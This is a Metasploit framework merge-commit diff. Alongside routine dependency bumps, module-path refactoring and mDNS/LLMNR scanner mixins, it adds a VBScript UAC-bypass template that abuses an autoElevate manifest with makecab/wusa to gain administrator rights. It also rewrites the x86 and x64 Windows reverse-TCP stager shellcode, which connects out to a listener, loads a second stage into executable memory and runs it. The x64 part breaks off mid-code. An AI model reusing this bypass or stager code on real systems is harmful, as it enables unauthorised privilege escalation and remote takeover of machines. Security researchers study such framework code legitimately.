Merge remote-tracking branch 'rapid7/master' into Uptime
commit
92aa09a586
|
@ -9,7 +9,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.10)
|
||||
metasploit-payloads (= 1.0.12)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.10)
|
||||
metasploit-payloads (1.0.12)
|
||||
metasploit_data_models (1.2.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
Option Explicit
|
||||
|
||||
Dim oWs: Set oWs = CreateObject("WScript.Shell")
|
||||
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
|
||||
Dim HOST_MANIFEST: HOST_MANIFEST = _
|
||||
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
|
||||
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
|
||||
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
|
||||
" manifestVersion=""1.0"">" & vbCrLf & _
|
||||
" <asmv3:trustInfo>" & vbCrLf & _
|
||||
" <security>" & vbCrLf & _
|
||||
" <requestedPrivileges>" & vbCrLf & _
|
||||
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
|
||||
" </requestedPrivileges>" & vbCrLf & _
|
||||
" </security>" & vbCrLf & _
|
||||
" </asmv3:trustInfo>" & vbCrLf & _
|
||||
" <asmv3:application>" & vbCrLf & _
|
||||
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
|
||||
" <autoElevate>true</autoElevate>" & vbCrLf & _
|
||||
" <dpiAware>true</dpiAware>" & vbCrLf & _
|
||||
" </asmv3:windowsSettings>" & vbCrLf & _
|
||||
" </asmv3:application>" & vbCrLf & _
|
||||
"</assembly>"
|
||||
|
||||
|
||||
Sub Copy(ByVal sSource, ByVal sTarget)
|
||||
Dim sTempFile: sTempFile = GetTempFilename()
|
||||
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
|
||||
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
|
||||
oFso.DeleteFile sTempFile
|
||||
End Sub
|
||||
|
||||
Sub Elevate()
|
||||
Const WINDIR = "%windir%"
|
||||
Dim sPath: sPath = Left(WScript.ScriptFullName, _
|
||||
InStrRev(WScript.ScriptFullName, "\"))
|
||||
Dim sHost: sHost = Right(WScript.FullName, 11)
|
||||
Dim sManifest: sManifest = sPath & sHost & ".manifest"
|
||||
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
|
||||
oStream.Write HOST_MANIFEST
|
||||
oStream.Close
|
||||
Copy sManifest, WINDIR
|
||||
Copy WScript.FullName, WINDIR
|
||||
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
|
||||
oFso.DeleteFile sManifest
|
||||
End Sub
|
||||
|
||||
Function GetTempFilename()
|
||||
Const vbTemporaryFolder = 2
|
||||
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
|
||||
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
|
||||
End Function
|
||||
|
||||
Sub RunAsAdmin()
|
||||
oWs.Run "COMMAND"
|
||||
End Sub
|
||||
|
||||
If WScript.Arguments.Named.Exists("RESTART") Then
|
||||
RunAsAdmin
|
||||
Else
|
||||
Elevate
|
||||
End If
|
|
@ -9,52 +9,62 @@ module Msf
|
|||
def init_module_paths(opts={})
|
||||
if @module_paths_inited
|
||||
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
|
||||
else
|
||||
# Ensure the module cache is accurate
|
||||
self.modules.refresh_cache_from_database
|
||||
|
||||
add_engine_module_paths(Rails.application, opts)
|
||||
|
||||
Rails.application.railties.engines.each do |engine|
|
||||
add_engine_module_paths(engine, opts)
|
||||
end
|
||||
|
||||
# Initialize the user module search path
|
||||
if (Msf::Config.user_module_directory)
|
||||
self.modules.add_module_path(Msf::Config.user_module_directory, opts)
|
||||
end
|
||||
|
||||
# If additional module paths have been defined globally, then load them.
|
||||
# They should be separated by semi-colons.
|
||||
if self.datastore['MsfModulePaths']
|
||||
self.datastore['MsfModulePaths'].split(";").each { |path|
|
||||
self.modules.add_module_path(path, opts)
|
||||
}
|
||||
end
|
||||
|
||||
@module_paths_inited = true
|
||||
return
|
||||
end
|
||||
|
||||
allowed_module_paths = []
|
||||
extract_engine_module_paths(Rails.application).each do |path|
|
||||
allowed_module_paths << path
|
||||
end
|
||||
|
||||
if Msf::Config.user_module_directory
|
||||
allowed_module_paths << Msf::Config.user_module_directory
|
||||
end
|
||||
|
||||
Rails.application.railties.engines.each do |engine|
|
||||
extract_engine_module_paths(engine).each do |path|
|
||||
allowed_module_paths << path
|
||||
end
|
||||
end
|
||||
|
||||
# If additional module paths have been defined globally, then load them.
|
||||
# They should be separated by semi-colons.
|
||||
self.datastore['MsfModulePaths'].to_s.split(";").each do |path|
|
||||
allowed_module_paths << path
|
||||
end
|
||||
|
||||
# If the caller had additional paths to search, load them.
|
||||
# They should be separated by semi-colons.
|
||||
opts.delete(:module_paths).to_s.split(";").each do |path|
|
||||
allowed_module_paths << path
|
||||
end
|
||||
|
||||
# Remove any duplicate paths
|
||||
allowed_module_paths.uniq!
|
||||
|
||||
# Update the module cache from the database
|
||||
self.modules.refresh_cache_from_database(allowed_module_paths)
|
||||
|
||||
# Load each of the module paths
|
||||
allowed_module_paths.each do |path|
|
||||
self.modules.add_module_path(path, opts)
|
||||
end
|
||||
|
||||
@module_paths_inited = true
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Add directories `engine.paths['modules']` from `engine`.
|
||||
# Extract directories `engine.paths['modules']` from `engine`.
|
||||
#
|
||||
# @param engine [Rails::Engine] a rails engine or application
|
||||
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
|
||||
# @return [void]
|
||||
def add_engine_module_paths(engine, options={})
|
||||
modules_paths = engine.paths['modules']
|
||||
|
||||
if modules_paths
|
||||
modules_directories = modules_paths.existent_directories
|
||||
|
||||
modules_directories.each do |modules_directory|
|
||||
modules.add_module_path(modules_directory, options)
|
||||
end
|
||||
end
|
||||
# @return [Array<String>] The list of module paths to load
|
||||
def extract_engine_module_paths(engine)
|
||||
engine.paths['modules'] ? engine.paths['modules'].existent_directories : []
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/auxiliary/mdns'
|
||||
|
||||
module Msf
|
||||
# This module provides methods for working with LLMNR
|
||||
module Auxiliary::LLMNR
|
||||
include Auxiliary::MDNS
|
||||
|
||||
# Initializes an instance of an auxiliary module that uses LLMNR
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']),
|
||||
Opt::RPORT(5355),
|
||||
# TODO: allow more than one
|
||||
OptString.new('NAME', [true, 'The name to query', 'localhost']),
|
||||
OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A'])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,108 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'net/dns'
|
||||
|
||||
module Msf
|
||||
# This module provides methods for working with mDNS
|
||||
module Auxiliary::MDNS
|
||||
# Initializes an instance of an auxiliary module that uses mDNS
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']),
|
||||
Opt::RPORT(5353),
|
||||
OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']),
|
||||
OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']),
|
||||
OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN'])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def setup
|
||||
query_class_name
|
||||
query_type_name
|
||||
end
|
||||
|
||||
def build_probe
|
||||
@probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
|
||||
# TODO: support QU vs QM probes
|
||||
# @probe[@probe.size-2] = [0x80].pack('C')
|
||||
# @probe
|
||||
end
|
||||
|
||||
def query_class
|
||||
if datastore['CLASS'] =~ /^\d+$/
|
||||
datastore['CLASS'].to_i
|
||||
else
|
||||
datastore['CLASS'].upcase
|
||||
end
|
||||
end
|
||||
|
||||
def query_class_name
|
||||
Net::DNS::RR::Classes.new(query_class).to_s
|
||||
end
|
||||
|
||||
def query_class_num
|
||||
Net::DNS::RR::Classes.new(query_class).to_i
|
||||
end
|
||||
|
||||
def query_type
|
||||
if datastore['TYPE'] =~ /^\d+$/
|
||||
datastore['TYPE'].to_i
|
||||
else
|
||||
datastore['TYPE'].upcase
|
||||
end
|
||||
end
|
||||
|
||||
def query_name
|
||||
datastore['NAME']
|
||||
end
|
||||
|
||||
def query_type_name
|
||||
Net::DNS::RR::Types.new(query_type).to_s
|
||||
end
|
||||
|
||||
def query_type_num
|
||||
Net::DNS::RR::Types.new(query_type).to_i
|
||||
end
|
||||
|
||||
def describe_response(response)
|
||||
decoded = Resolv::DNS::Message.decode(response)
|
||||
answers = decoded.answer
|
||||
|
||||
if answers.empty? # not sure this will ever happen...
|
||||
"no answers"
|
||||
else
|
||||
# there are often many answers for the same RR, so group them
|
||||
grouped_answers = answers.group_by { |name, _, _| name }
|
||||
# now summarize each group by noting the resource type and the notable
|
||||
# part(s) of that RR
|
||||
summarized_answers = grouped_answers.map do |name, these_answers|
|
||||
summarized_group = these_answers.map do |_, _, data|
|
||||
case data
|
||||
when Resolv::DNS::Resource::IN::A
|
||||
"A #{data.address}"
|
||||
when Resolv::DNS::Resource::IN::AAAA
|
||||
"AAAA #{data.address}"
|
||||
when Resolv::DNS::Resource::IN::PTR
|
||||
"PTR #{data.name}"
|
||||
when Resolv::DNS::Resource::IN::SRV
|
||||
"SRV #{data.target}"
|
||||
when Resolv::DNS::Resource::IN::TXT
|
||||
"TXT #{data.strings.join(',')}"
|
||||
else
|
||||
data.inspect
|
||||
end
|
||||
end
|
||||
"#{name}: (#{summarized_group.join(", ")})"
|
||||
end
|
||||
summarized_answers.join(', ')
|
||||
end
|
||||
end
|
||||
|
||||
def request_info
|
||||
"#{query_name} #{query_class}/#{query_type}"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -20,6 +20,8 @@ require 'msf/core/auxiliary/login'
|
|||
require 'msf/core/auxiliary/rservices'
|
||||
require 'msf/core/auxiliary/cisco'
|
||||
require 'msf/core/auxiliary/kademlia'
|
||||
require 'msf/core/auxiliary/llmnr'
|
||||
require 'msf/core/auxiliary/mdns'
|
||||
require 'msf/core/auxiliary/nmap'
|
||||
require 'msf/core/auxiliary/natpmp'
|
||||
require 'msf/core/auxiliary/iax2'
|
||||
|
|
|
@ -181,7 +181,9 @@ module Auxiliary::UDPScanner
|
|||
end
|
||||
|
||||
# Called for each response packet
|
||||
def scanner_process(data, shost, sport)
|
||||
def scanner_process(data, shost, _sport)
|
||||
@results[shost] ||= []
|
||||
@results[shost] << data
|
||||
end
|
||||
|
||||
# Called before the scan block
|
||||
|
|
|
@ -242,7 +242,7 @@ module Msf
|
|||
dev ||= datastore['INTERFACE']
|
||||
dst_mac, src_mac = lookup_eth(dhost, dev)
|
||||
if dst_mac == nil and not bcast
|
||||
return false
|
||||
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
|
||||
end
|
||||
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
|
||||
end
|
||||
|
|
|
@ -20,6 +20,7 @@ module Exploit::CmdStager
|
|||
:printf => Rex::Exploitation::CmdStagerPrintf,
|
||||
:vbs => Rex::Exploitation::CmdStagerVBS,
|
||||
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
|
||||
:certutil => Rex::Exploitation::CmdStagerCertutil,
|
||||
:tftp => Rex::Exploitation::CmdStagerTFTP
|
||||
}
|
||||
|
||||
|
|
|
@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'WPVDB')
|
||||
self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'PACKETSTORM')
|
||||
self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'URL')
|
||||
self.site = in_ctx_val.to_s
|
||||
else
|
||||
|
|
|
@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache
|
|||
framework.db.update_all_module_details
|
||||
end
|
||||
|
||||
refresh_cache_from_database
|
||||
refresh_cache_from_database(self.module_paths)
|
||||
end
|
||||
end
|
||||
|
||||
# Refreshes the in-memory cache from the database cache.
|
||||
#
|
||||
# @return [void]
|
||||
def refresh_cache_from_database
|
||||
self.module_info_by_path_from_database!
|
||||
def refresh_cache_from_database(allowed_paths=[""])
|
||||
self.module_info_by_path_from_database!(allowed_paths)
|
||||
end
|
||||
|
||||
protected
|
||||
|
@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache
|
|||
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
|
||||
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
|
||||
# :reference_name.
|
||||
def module_info_by_path_from_database!
|
||||
def module_info_by_path_from_database!(allowed_paths=[""])
|
||||
self.module_info_by_path = {}
|
||||
|
||||
if framework_migrated?
|
||||
allowed_paths = allowed_paths.map{|x| x + "/"}
|
||||
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
||||
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
||||
|
@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache
|
|||
type = module_detail.mtype
|
||||
reference_name = module_detail.refname
|
||||
|
||||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
|
||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||
# join to '' so that typed_path_prefix starts with file separator
|
||||
typed_path_suffix = File.join('', typed_path)
|
||||
|
|
|
@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp
|
|||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
|
||||
space += 29
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
# Reliability adds some bytes!
|
||||
space += 44
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
|
@ -108,137 +108,155 @@ module Payload::Windows::ReverseTcp
|
|||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
create_socket:
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
set_address:
|
||||
push #{retry_count} ; retry counter
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
push #{retry_count} ; retry counter
|
||||
|
||||
create_socket:
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_failure:
|
||||
dec dword [esi+8]
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
# TODO: Rewind the stack, free memory, try again
|
||||
=begin
|
||||
if opts[:reliable]
|
||||
asm << %Q^
|
||||
reconnect:
|
||||
|
||||
^
|
||||
end
|
||||
=end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
^
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
jle cleanup_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more:
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jge read_successful
|
||||
|
||||
; something failed, free up memory
|
||||
pop eax ; get the address of the payload
|
||||
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
|
||||
push 0 ; dwSize
|
||||
push eax ; lpAddress
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||
|
||||
cleanup_socket:
|
||||
; clear up the socket
|
||||
push edi ; socket handle
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket(socket)
|
||||
|
||||
; restore the stack back to the connection retry count
|
||||
pop esi
|
||||
pop esi
|
||||
dec [esp] ; decrement the counter
|
||||
|
||||
; try again
|
||||
jmp create_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
|
|
|
@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64
|
|||
ret ; Return to NULL (crash)
|
||||
^
|
||||
|
||||
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
||||
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
||||
# automatically generate the right code depending on the selected exit method.
|
||||
|
||||
when 'thread'
|
||||
asm << %Q^
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
|
||||
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
add rsp, 40 ; cleanup the default param space on stack
|
||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl exitfunk_goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
|
||||
; Windows Vista, 2008 or 7...
|
||||
jne exitfunk_goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; call EXITFUNK( 0 );
|
||||
^
|
||||
|
|
|
@ -62,12 +62,12 @@ module Payload::Windows::ReverseTcp_x64
|
|||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp
|
||||
pop rbp ; block API pointer
|
||||
#{asm_reverse_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
|
@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64
|
|||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
|
||||
space += 15
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
# Reliability adds bytes!
|
||||
space += 57
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
|
@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64
|
|||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
# TODO: reliability coming later
|
||||
reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
@ -114,88 +113,172 @@ module Payload::Windows::ReverseTcp_x64
|
|||
|
||||
asm = %Q^
|
||||
reverse_tcp:
|
||||
; setup the structures we need on the stack...
|
||||
; setup the structures we need on the stack...
|
||||
mov r14, 'ws2_32'
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
mov r12, #{encoded_host_port}
|
||||
push r12 ; host, family AF_INET and port
|
||||
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||
push r12 ; host, family AF_INET and port
|
||||
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
